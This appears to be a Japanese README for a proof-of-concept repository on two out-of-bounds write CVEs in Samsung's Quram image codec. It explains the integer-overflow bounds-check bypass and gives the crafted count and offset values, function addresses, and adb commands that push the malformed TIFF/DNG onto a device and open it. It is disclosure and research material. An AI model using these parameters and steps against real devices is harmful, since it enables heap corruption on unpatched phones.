
Samsung libimagecodec.quram.so の OOB Write PoC
このリポジトリには、Samsung Android デバイスで使用されている Quramsoft 画像コーデックライブラリ (libimagecodec.quram.so) における領域外 (OOB) 書き込みの脆弱性を示す概念実証 (PoC) ファイルが含まれています。
| CVE | 形式 | タイプ | 深刻度 | CVSS 4.0 | パッチ適用リリース |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | 領域外書き込み (CWE-787) | 緊急 | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | 領域外書き込み (CWE-787) | 高 | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soこの脆弱性は、IFD (Image File Directory) タグ解析関数 WINKJ_ReadExifField (64 ビットバイナリ内オフセット 0x13a0a8) に存在します。この関数は個々の TIFF/EXIF IFD エントリを処理します。各エントリは 12 バイトの構造体です:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
count * element_size > 4 の場合、4 バイトの Value フィールドはファイルオフセット (実際のデータが存在する場所を指す) として扱われます。その後、コードはアドレス 0x13a258 で境界チェックを実行します:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
この脆弱性は、加算における32 ビット符号なし整数オーバーフローです。攻撃者が value_offset と count * element_size を、それらの合計が小さな値にラップアラウンドするように細工した場合、base + value_offset での実際のメモリアクセスが範囲外になるにもかかわらず、チェックは通過します。
例 (UNDEFINED 型、element_size = 1):
32 ビット加算 0x17FFF + 0xFFFF0001 = 0x10008000 は 0x8000 に切り詰められ、これは buffer_size と等しくなります。チェックは通過しますが、実際のデータポインタ (base + 0x17FFF) は、割り当てられたバッファの終端から 0x7FFF バイト先に位置します。
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| ファイル | 説明 |
|---|---|
cve-2026-21045_tiff_oob_poc.py | poc_crash.tif を生成 — 細工された count/offset を持つ ASCII タグを介して OOB 書き込みを引き起こす不正な TIFF |
cve-2026-21048_dng_oob_poc.py | poc_crash.dng を生成 — 細工された count/offset を持つ UNDEFINED タグを介して OOB 書き込みを引き起こす不正な DNG |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
パッチ未適用デバイス (セキュリティパッチ < 2026 年 7 月) で、Samsung Gallery (または Quram デコーダを使用する任意のアプリ) で細工された TIFF/DNG ファイルを開くと、ヒープメモリ破壊が発生し、以下につながる可能性があります:
パッチ適用済みデバイス (SMR Jul-2026+) では、画像は無効として拒否されるか、安全に処理されます。完全にパッチが適用されたデバイスでのクラッシュは、別の未パッチの問題を示している可能性があります。
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
WINKJ_ReadExifField から抽出:
element_size = 1 のすべてのタイプ (BYTE、ASCII、UNDEFINED) は同じハンドラを共有し、整数オーバーフローによるバイパスに対して同様に脆弱です。
これらの概念実証は、教育およびセキュリティ研究目的のみで提供されます。これらは、ユーザーと開発者がリスクを理解できるよう、脆弱性のメカニズムを実証するものです。所有していないシステム、またはテストする明示的な許可を得ていないシステムに対しては使用しないでください。
| フィールド | 値 (16 進) | 10 進 |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (オーバーフロー!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
チェック結果: 0x8000 <= 0x8000 | ✅ 通過 | — |
実際のメモリアクセス: base + 0x17FFF | バッファを 0x7FFF バイト超過 | ❌ 範囲外 |
| 関数 | アドレス (64 ビット) | サイズ | 目的 |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | 個々の IFD エントリを解析 (脆弱) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | すべての IFD エントリを読み取る |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | 高水準 TIFF 情報パーサ |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | TIFF 解析のメインエントリポイント |
decodeTIFF | 0x1a2adc | 580 | libtiff 経由で TIFF 画像をデコード |
getTIFFImageInfo | 0x1a2d20 | 508 | TIFF 画像のメタデータを取得 |
copySubImageBuffer | 0x0b2824 | 324 | サブイメージ領域をコピー |
TIFFReadDirectory | 0x1aac78 | 5896 | libtiff 4.6.0 ディレクトリリーダ |
_TIFFMultiply32 | 0x1a2f1c | 56 | 安全な 32 ビット乗算チェック |
_TIFFMultiply64 | 0x1a2f58 | 48 | 安全な 64 ビット乗算チェック |
| タイプ | 名前 | 要素サイズ | ハンドラアドレス |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | 説明 | ステータス |
|---|
| CVE-2025-58477 | libimagecodec.quram.so における IFD タグ解析での OOB 書き込み (SMR Dec-2025) | ✅ パッチ済み |
| CVE-2026-20973 | libimagecodec.quram.so における OOB 読み取り (SMR Jan-2026) | ✅ パッチ済み |
| CVE-2026-21045 | libimagecodec.media.quram.so における TIFF 解析での OOB 書き込み (SMR Jul-2026) | ⚠️ 私の環境では未パッチ |
| CVE-2026-21048 | libimagecodec.media.quram.so における DNG 解析での OOB 書き込み (SMR Jul-2026) | ⚠️ 私の環境では未パッチ |
| CVE-2026-4775 | libtiff 4.6.0 putcontig8bitYCbCr44tile での符号付き整数オーバーフロー | ⚠️ 私の環境では未パッチ |
| CVE-2024-7006 | libtiff tif_dirinfo.c での NULL ポインタ参照 | ✅ 4.6.1 で修正済み |